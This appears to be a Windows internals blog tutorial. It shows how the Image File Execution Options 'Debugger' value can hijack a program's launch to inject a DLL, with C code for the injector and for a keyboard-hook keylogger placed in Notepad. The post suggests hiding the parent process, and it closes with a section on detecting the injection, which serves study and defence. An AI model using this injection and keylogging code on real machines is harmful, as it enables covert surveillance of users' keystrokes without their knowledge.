A well-known feature of Windows is the Image File Execution Options registry key located in HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. Under that key, key names with executable files (e.g. Notepad.exe) can be created and various options can be set. These options are observed when a process with the key name (from any directory) is about to be created. A classic tool to set these options is the Gflags.exe utility, available as part of the Debugging Tools for Windows.
One of the useful values is “Debugger” that allows another process (classically, a debugger) to be launched when the specific executable is requested to be launched. This allows debugging startup code in processes that start indirectly, such as Windows Services that are launched by the Service Control Manager (SCM). The “debugger” process is provided with the original executable and the command line with which it was attempted to launch.
Although this value is typical for debuggers, there is nothing in an executable that states it is, in fact, a debugger. This means any executable can be placed there. A simple example is placing “calc.exe” for Notepad.exe key. Here’s the snapshot from Gflags:
This setting (after applied) will cause any attempt to launch Notepad.Exe to result in Calc.Exe being launched instead.
This can be a fun thing to do around the office. But let’s look at it in another way. Say we want to inject some code into a target process when it’s launched and stays hidden while leaving no other process lingering around. For example, suppose we wanted to capture keystrokes from Notepad-like applications. We can leverage the “Debugger” value to launch our own process (let’s assume the user was tricked to run some script to set it up – although this does require admin rights); once we launch – we can launch the original intended executable (remember it’s provided to the debugger process as part of the command line). But because we’re doing the launching, we have full privileges to the target process and can inject code in various ways. This post shows one way to do that. I’ll also discuss how one can detect such a presence with freely available tools.
Gain Insider Knowledge
Key Logger
Let’s use the key logger scenario – we want to know what keys the user is typing in Notepad or a similar application. We’ll need an executable that would do the injection and a DLL to be injected. Let’s make the injector named Injector.Exe and the DLL named Injected.Dll.
Our executable would run instead of Notepad or whatever executable we choose to replace (we’ll set it up as shown above using Gflags; let’s assume it’s already set). This means the command line originally meant for Notepad is now passed to our main function’s command line. Our main function may start like this:
int wmain(int argc, wchar_t* argv[]) {
assert(argc > 1);
argc
must be at least two. argv[0]
would be the path to our injector.exe executable and argv[1]
would be Notepad’s path. More arguments could be passed along to open a specific file in the case of Notepad. Since we want to create the real Notepad (or whatever), we can build its command line like so:
wchar_t commandLine[MAX_PATH * 2];
wcscpy_s(commandLine, argv[1]);
if (argc > 2) {
wcscat_s(commandLine, L" ");
wcscat_s(commandLine, argv[2]);
}
In this case we assume there would be no more than one extra argument, but it would be easy to build it for any number of command line args.
Now we’re ready to create the original process. But there is one important caveat: if we just call CreateProcess
normally, the Image Execution File Options would just execute our own injector yet again, and we’ll be in an infinite loop creating injectors, never creating any Notepad process; there must be some way to break the cycle.
Since the “debugger” value is for debuggers – clearly the debugger must be able to create the correct process; the trick is to use the DEBUG_PROCESS
flag when creating the process:
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(si) };
// create the actual process with the debug flag to avoid an infinite loop
BOOL bCreated = CreateProcessW(nullptr, commandLine, nullptr, nullptr, FALSE,
DEBUG_PROCESS, nullptr, nullptr, &si, &pi);
This creates the actual process that we want. Now Notepad is at our mercy, so to speak.
Dll Injection
The next step would be to inject our DLL. The well-known trick here is to create a thread inside the new process that runs the LoadLibrary
function since they have the same prototype (return a 32 bit value and accept a pointer) on the binary level. LoadLibrary
would load our DLL, for which DllMain
would be called. There we can put anything we want that runs in the context of the new process.
Before we can do that, however, we must allocate space and copy the DLL’s path so that LoadLibrary
can find its target (it is in Notepad’s address space) (error handling omitted for brevity):
WCHAR path[MAX_PATH];
GetModuleFileName(nullptr, path, MAX_PATH);
*wcsrchr(path, L'\\') = L'\0';
wcscat_s(path, L"\\Injected.Dll");
// allocate buffer for the DLL path name
void* pPathBuffer = VirtualAllocEx(pi.hProcess, nullptr, MAX_PATH * sizeof(WCHAR),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
// write the path
WriteProcessMemory(pi.hProcess, pPathBuffer, path, MAX_PATH * sizeof(WCHAR), nullptr);
Before creating the remote thread, there is another minor detail to consider. Eventually, we want our DLL to use the SetWindowsHookEx function to install a keyboard hook on Notepad’s main thread. The problem is – how would the DLL know the thread ID of Notepad’s main thread?
One way to about it is to enumerate all threads in the system with CreateToolhelp32Snapshot
, find Notepad and take the first thread ID that shows up. This would probably work, but looks like an overkill, and not very efficient. Our executable knows the main thread ID of Notepad since we’ve created the process and got this info back in the PROCESS_INFORMATION
structure. All we need to do is to somehow pass this information to our DLL running under the target process.
One possible way is to tack this information on the command line at the end, hoping this doesn’t bother our target process and then get it from there by calling GetCommandLine
and looking for the last argument.
Here’s another way, somewhat unusual. We’ll create a semaphore with a name known to the DLL whose maximum count would be the thread ID and the initial count would be the same. Then our DLL would get a handle to that semaphore, and get back its previous count – the thread ID!
Here’s some code to prepare the semaphore:
// create a semaphore whose count represents the main thread ID
HANDLE hSemaphore = CreateSemaphore(nullptr, pi.dwThreadId, pi.dwThreadId,
L"InjectedMainThread");
// duplicate the handle so the semaphore survives after the injecting process goes away
HANDLE hTarget = nullptr;
DuplicateHandle(GetCurrentProcess(), hSemaphore, pi.hProcess, &hTarget,
0, FALSE, DUPLICATE_SAME_ACCESS);
The thread would start by loading our injected DLL (in the target process, of course).
One last thing to do. Since we’ve created the target process as a debuggee, our injector process is assumed to be a debugger. By default, when a debugger exists – the target debuggee terminates and we want to prevent that. The following call prevents that from happening:
DebugSetProcessKillOnExit(FALSE);
And the injection is done. Now over to the DLL loaded in the target process.
$1,478
$1182 or $120 X 10 payments
Windows Master Developer
Takes you from a “generic” C programmer to a master Windows programmer in user mode and kernel mode.
Setting up the Hook
Our DLL comes alive in the normal DllMain
that is made because our remote thread loaded our injected DLL. Here’s what this looks like:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, PVOID) {
switch (reason) {
case DLL_PROCESS_ATTACH:
g_hInstDll = hModule;
// create a separate thread to set up the hook
CreateThread(nullptr, 0, SetupHook, nullptr, 0, nullptr);
break;
}
return TRUE;
}
Nothing much going on. We save the module instance for later and create yet another thread to set up the hook. Why don’t we just set it up here? Two reasons: first, doing a lot of things in DllMain
is not recommended, as it’s running under the Loader Lock which prevents (among other things) loading of other DLLs. Second, our hook needs a message pump and we can’t tie up DllMain
for this.
Our thread sets up the WH_KEYBOARD
hook like so:
DWORD CALLBACK SetupHook(PVOID) {
// get the main thread ID
HANDLE hSemaphore = OpenSemaphore(SEMAPHORE_ALL_ACCESS, FALSE, L"InjectedMainThread");
LONG id = 0;
ReleaseSemaphore(hSemaphore, 0, &id);
// wait a bit for the main thread to be ready for input
// we could also call WaitForInputIdle(GetCurrentProcess())
Sleep(100);
// set up the hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD, HookCallback, g_hInstDll, id);
// pump messages
MSG msg;
while (GetMessage(&msg, nullptr, 0, 0))
DispatchMessage(&msg);
return 0;
}
Here is where we need the main thread ID of the current process; we get it by calling OpenSemaphore
to get to our semaphore, then ReleaseSemaphore
reports the previous semaphore count which we use in SetWindowsHookEx
.
Finally, our hook procedure can do anything with the key information. For this demo, we’ll just output it to the debugger and use a tool such as DebugView from Sysinternals to capture the output:
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
if (code < 0)
return CallNextHookEx(nullptr, code, wParam, lParam);
if (code == HC_ACTION) {
// log key stroke
wsprintfW(buffer, L"Pressed: %d, Key code: %d\n", (lParam & (1 << 30)) ? 1 : 0, wParam);
OutputDebugString(buffer);
}
return CallNextHookEx(nullptr, code, wParam, lParam);
}
And that’s it. Here’s some output from DebugView when the user starts notepad in the normal way (after setting up with Gflags) and started typing “Hello”:
Identifying Injections
Is it possible to detect such injections? Certainly. If we suspect an injected DLL, we can start Process Explorer (the screenshot is for an older version) and look for suspicious DLLs like the following:
Clearly the injected DLL is there, but in a real scenario it will have an inconspicuous name and some convincing description, so it won’t be easy, since processes typically load dozens of DLLs.
Also if we look at the process tree in Process Explorer, we would find Notepad to be orphaned. Looking at its properties confirms it:
This should be a red flag, as Notepad’s parent would typically be Explorer, but it’s actually our injector process that is no longer alive. We could point to a different parent by using a process attribute (UpdateProcThreadAttribute), I’ll leave that as an exercise for the interested reader.
Another useful tool is Process Monitor, which can show creation/destruction of processes and threads, Registry and file system activity, and more. For our purposes, we would see the Injector process being created before Notepad, we would see the registry Image File Execution Options key read with the Debugger value. I’ll leave that as an exercise for the interested reader as well.